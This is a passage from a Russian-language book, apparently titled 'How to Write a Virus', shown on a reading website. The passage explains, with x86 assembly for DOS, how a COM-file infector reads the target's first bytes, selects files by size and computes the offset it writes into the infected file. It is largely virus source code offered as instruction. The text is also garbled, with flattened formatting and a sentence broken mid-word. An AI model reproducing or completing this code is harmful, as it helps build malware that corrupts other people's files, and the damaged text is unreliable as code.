"Игорь Коваль. Как написать вирус" - читать интересную книгу автора ;байта :
mov bx,ax ;Сохраним дес- ;криптор в BX mov ah,3fh ;Номер функции mov cx,3 ;Сколько байт ? lea dx,old_bytes ;Буфер для счи- ;тываемых данных int 21h jnc found_size jmp close ;Ошибка ! Приведенный фрагмент помещает прочитанную инфор- мацию в область " old_bytes " . Остальное ясно из комментариев . 1.11 Выполняем необходимые расчеты В этом пункте мы покажем, как вирус проводит рас- чет корректирующего числа для регистра DS ( см . 1.4 ), а также смещения на свой код .Напомним,что это смещение записывается в начало заражаемого файла и зависит от его длины . Исходной величиной для расчета служит длина заражаемого файла,которую DOS вместе с именем найденного файла и рядом дру- сывается в DTA по смещению 01Ah ( младшее слово ) 1Ch ( старшее ) . Так как длина COM - файла не мо- жет быть больше 65535 байт, она помещается в младшее слово целиком.А слово по смещению 01Ch об- нуляется ! Вышеуказанные расчеты можно произвести следующим образом : found_size: mov ax,cs:[09ah] ;Найдем размер ;файла count_size:mov si,ax cmp ax,64000 ;Файл длиннее ;64000 байт ? jna toto ;Нет ... jmp find_next ;Да - тогда он ;нам не подходит toto: test ax,000fh ;Округлим размер jz krat_16 ;до целого числа or ax,000fh ;параграфов в inc ax ;большую сторону krat_16: mov di,ax ;И запишем ок- ;ругленное зна- ;чение в DI ... |
|
|